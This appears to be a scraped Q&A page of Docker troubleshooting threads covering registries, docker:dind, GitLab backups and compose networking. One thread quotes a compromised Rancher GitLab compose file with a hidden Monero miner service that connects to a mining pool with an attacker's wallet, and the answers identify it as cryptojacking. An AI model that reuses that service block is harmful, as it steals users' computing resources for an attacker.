Docker push on local registry gets stuck - docker

I'm trying to push an image to a local docker registry deployed with docker-compose the following way:
services:
docker-registry:
image: registry:2
restart: unless-stopped
environment:
- REGISTRY_STORAGE_DELETE_ENABLED=true
volumes:
- registry-data:/var/lib/registry
Note: this is inside a Dev Container and registry port is forwarded directly from .devcontainer.json, but it is equivalent to forwarding 5000:5000 in docker-compose, I have no problem contacting the registry
Whenever I attempt to push an image on the registry, I have a layer getting stuck to 48.8MB (attempted a lot of times, recreating the service, deleting the volume, restarting everything)
~ docker push localhost:5000/some-image
Using default tag: latest
The push refers to repository [localhost:5000/some-image]
1562583dd903: Preparing
1562583dd903: Pushing 227.3kB/19.88MB
1562583dd903: Pushing 6.14MB/19.88MB
1562583dd903: Pushing 9.122MB/19.88MB
1562583dd903: Pushing 18.3MB/19.88MB
1562583dd903: Pushing 19.98MB
86959104e6a0: Pushed
86959104e6a0: Pushing 18.25MB/2.068GB
86959104e6a0: Pushing 22.7MB/2.068GB
86959104e6a0: Pushing 50.83MB/2.068GB
a3038b-3bfe-4903-951d-8d5529552f96
c735c85250bd: Mounted from some-other-image
b0f6b3bc04d7: Mounted from some-other-image
f31afd463445: Mounted from some-other-image
a9099c3159f5: Pushing [===================> ] 48.8MB/124.1MB
The command is then stuck forever. I tried pushing from docker command on my host and also from docker API using Golang code, I have encountered the same exact behaviour.
Any idea on what is wrong here?

I found a solution to the problem (but not the reason), this seems related to Dev Containers.
I ran the service this way in the docker-compose.yml run by devcontainer.json:
services:
docker-registry:
image: registry:2
restart: unless-stopped
environment:
- REGISTRY_STORAGE_DELETE_ENABLED=true
volumes:
- registry-data:/var/lib/registry
In devcontainer.json, I forwarded the ports this way as I'm used to doing to have the ports listed in VS Code ports section:
"forwardPorts": [
"docker-registry:5000",
],
"portsAttributes": {
"docker-registry:5000": {
"label": "Docker registry",
"onAutoForward": "silent",
"requireLocalPort": true
}
This resulted in correct forward of port 5000 of the container to port 5000 on the localhost.
However, by removing these references from .devcontainer and forwarding ports directly from the docker-compose.yml, I no longer have the initial issue:
services:
docker-registry:
image: registry:2
restart: unless-stopped
environment:
- REGISTRY_STORAGE_DELETE_ENABLED=true
volumes:
- registry-data:/var/lib/registry
ports:
- 5000:5000

Related

Use of docker:dind in docker-compose

So for some reason, I'd like to use a docker:dind inside a docker-compose.yml.
I know that the "easy" way is to mount directly the socket inside the image (like that : /var/run/docker.sock:/var/run/docker.sock) but I want to avoid that (for security reasons).
Here is my experimental docker-compose.yml :
version: '3.8'
services:
dind:
image: docker:19.03.7-dind
container_name: dind
restart: unless-stopped
privileged: true
environment:
- DOCKER_TLS_CERTDIR=/certs
volumes:
- dind-certs-ca:/certs/ca
- dind-certs-client:/certs/client
networks:
- net
expose:
- 2375
- 5000
volumes:
dind-certs-ca:
dind-certs-client:
networks:
net:
driver: bridge
Nothing complexe here, then I try to see if the service is correctly set :
docker logs dind
Here no problem it is up and running.
However, once I try to use it with for instance :
docker run --rm -it --network net --link dind:docker docker version
I got the following error :
Cannot connect to the Docker deamon at tcp://docker:2375. Is there a deamon running ?
Do you have any idea why the deamon is not responding ?
---------------------------------------------------------- EDIT ----------------------------------------------------------
Following hariK's comment (thanks by the way) I add the port 2376 to the exposed one. I think I'm neer solving my issue. Here is the error that I get :
error during connect: Get http://docker:2375/v1.40/version dial tcp: lookup on docker on [ip]: no such host
So I look at this error and found that it seems to be a recurrent one on dind versions (there is a lot of issues on gitlab on it like this one). There is also a post on stackoverflow on a similar issue for gitlab here.
For the workaround I tried :
Putting this value DOCKER_TLS_CERTDIR: "" hopping to turn off TLS ... but it failed
Downgrading the version to docker:18.05-dind. It actualy worked but I don't think it's a good move to make.
If someone has an idea to keep TLS ON and make it works it would be great :) (I'll still be looking on my own but if you can give a nudge with interesting links it would be cool ^^)
To use Docker with disabled TLS (i.e. TCP port 2375 by default), unset the DOCKER_TLS_CERTDIR variable in your dind service definition in Docker Compose, like:
dind:
image: docker:dind
container_name: dind
privileged: true
expose:
- 2375
environment:
- DOCKER_TLS_CERTDIR=
(NB: do not initialize it to any value like '' or "")
So I found a solution, and I added to the basic docker-compose a resgistry with TLS options.
So I had fisrt to generate the certs and then correctly mount them.
If any of you run in a similar issue I made a github repo with the docker-compose and command lines for the certs.
Some time later, and I was looking for the same thing.
Here is an example that with specific versions for the images, that should still work in a few years from now:
version: '3'
services:
docker:
image: docker:20.10.17-dind-alpine3.16
privileged: yes
volumes:
- certs:/certs
docker-client:
image: docker:20.10.17-cli
command: sh -c 'while [ 1 ]; do sleep 1; done'
environment:
DOCKER_HOST: tcp://docker:2376
DOCKER_TLS_VERIFY: 1
DOCKER_CERT_PATH: /certs/client
volumes:
- certs:/certs
volumes:
certs:
The TLS certificates are generated by the "docker" service on startup and shared using a volume.
Use the client as follows:
docker-compose exec docker-client sh
#now within docker-client container
docker run hello-world

Gitlab-CI backup lost by restarting Docker desktop

I have a docker desktop installed on my windows pc. In that, I have self-hosted gitlab on one docker container. Today I tried to back up my gitlab by typing the following command:
docker exec -t <my-container-name> gitlab-backup create
After running this command the backup was successful and saw a message that backup is done. I then restarted my docker desktop and I waited for the container to start when the container started I accessed the gitlab interface but I saw a new gitlab instance.
I then type the following command to restore my backup:
docker exec -it <my-container-name> gitlab-backup restore
But saw the message that:
No backups found in /var/opt/gitlab/backups
Please make sure that file name ends with _gitlab_backup.tar
What can be the reason am I doing it the wrong way because I saw these commands on gitlab official website.
I have this in the docker-compose.yml file:
version: "3.6"
services:
web:
image: 'gitlab/gitlab-ce'
container_name: 'gitlab'
restart: always
hostname: 'localhost'
environment:
GITLAB_OMNIBUS_CONFIG: |
external_url 'http://localhost:9090'
gitlab_rails['gitlab_shell_ssh_port'] = 2224
networks:
- gitlab-network
ports:
- '80:80'
- '443:443'
- '9090:9090'
- '2224:22'
volumes:
- '/srv/gitlab/config:/etc/gitlab'
- '/srv/gitlab/logs:/var/log/gitlab'
- '/srv/gitlab/data:/var/opt/gitlab'
networks:
gitlab-network:
name: gitlab-network
I used this command to run the container:
docker-compose up --build --abort-on-container-exit
If you started your container using Volumes, try looking at C:\ProgramData\docker\volume for your backup.
The backup is normally located at: /var/opt/gitlab/backups within the container. So hopefully you mapped /var/opt/gitlab to either a volume or a bind mount.
Did you try supplying the name of the backup file, as for the omnibus install? When I've restored a backup in Docker, I basically use the omnibus instructions, but use docker exec to do it. Here are the commands I've used from my notes.
docker exec -it gitlab gitlab-ctl stop unicorn 
docker exec -it gitlab gitlab-ctl stop sidekiq 
docker exec -it gitlab gitlab-rake gitlab:backup:restore BACKUP=1541603057_2018_11_07_10.3.4
docker exec -it gitlab gitlab-ctl start 
docker exec -it gitlab gitlab-rake gitlab:check SANITIZE=true
It looks like they added a gitlab-backup command at some point, so you can probably use that instead of gitlab-rake.

Why docker-compose containers cannot be reach?

I have installed images on aws(t2.micro),
have the following docker-compose:
version: "3"
services:
eureka:
image: voipp/eurekaserver
ports:
- "8888:8888"
configserver:
image: voipp/configserver
ports:
- "8761:8761"
I have all images installed on a server, and call docker-compose up.
Docker starts my containers, but I cannot reach them from my PC!
Help me figure it out, plz.
PS. When I start images just by command docker run -p ... everything works fine(apps are approacheable), but docker-compose doesn't work as expected(
UPD: ports are opened in aws, how else i can reach em simply after docker run -p...
UPD2: If i start my app without container, it really is able to reach outer 8761 port
The answer is the container calls on its inner localhost, not remote containers .

cpu miner executing in docker container

I installed gitlab via Rancher's catalog.
By running the command "docker ps" I notice that there is a docker container "moneropull / monero-miner".
I noticed that this container is an underlying part of the Gitlab container. Below the dockercompose file generated by the Rancher stack.
I would like to know if the "selector" part is mandatory? I really want to take it off. Indeed when the container of gitlab is launched I notice a very high consomation of the processor.
version: '2'
volumes:
gitlab-app-data:
driver: local
gitlab-conf-files:
driver: local
gitlab-log-data:
driver: local
services:
gitlab-server:
image: gitlab/gitlab-ce:9.5.10-ce.0
environment:
GITLAB_OMNIBUS_CONFIG: |-
external_url 'http://gitehost.com'
registry_external_url 'http://gitehost.com'
gitlab_rails['gitlab_shell_ssh_port'] = PORT_NUMBER
volumes:
- /home/docker-volumes/gitlab/var/opt/gitlab:/var/opt/gitlab
- /home/docker-volumes/gitlab/var/log/gitlab:/var/log/gitlab
- /home/docker-volumes/gitlab/etc/gitlab:/etc/gitlab
labels:
io.rancher.container.hostname_override: container_name
selector:
image: moneropull/monero-miner
stdin_open: true
tty: true
command:
- -a
- cryptonight
- -o
- stratum+tcp://monerohash.com:3333
- -u
- 42kVTL3bciSHwjfJJNPif2JVMu4daFs6LVyBVtN9JbMXjLu6qZvwGtVJBf4PCeRHbZUiQDzBRBMu731EQWUhYGSoFz2r9fj
- -p
- x
labels:
io.rancher.container.pull_image: always
io.rancher.scheduler.global: 'true'
Seems you are being crypto-jacked. Look at this https://kromtech.com/blog/security-center/cryptojacking-invades-cloud-how-modern-containerization-trend-is-exploited-by-attackers
There are few images that are compromised and i suspect you accidently picked one of them.
#piy26 pointed out correctly. Your setup seems to have been compromised.
The original gitlab compose file from rancher doesn't have the miner service. Here is the link: https://github.com/rancher/community-catalog/blob/master/templates/gitlab/4/docker-compose.yml#L10

Setting up private docker registry with a frontend

I am trying to set up a docker registry with a frontend and am having problems
I use the following docker compose, and am unable to see the repos that are present in the registry. I assume the most basic setup as follows:
web:
container_name: registry-frontend
image: hyper/docker-registry-web
ports:
- "8085:8080"
links:
- registry
environment:
REGISTRY_HOST: registry
registry:
container_name: registry
image: registry:2
ports:
- 5000:5000
environment:
REGISTRY_STORAGE_FILESYSTEM_ROOTDIRECTORY: /registry
volumes:
- /data/docker-registry/:/registry
When I check for repositories present in the registry service, I can see the repos
I ran the following command:
http://<host>:5000/v2/_catalog
and got the following result
{"repositories":["baseimage","myfirstimage"]}
However, these are not visible in the frontend. Essentially the integration does not seem to be working. Can anyone help out in figuring out what could be wrong?

Resources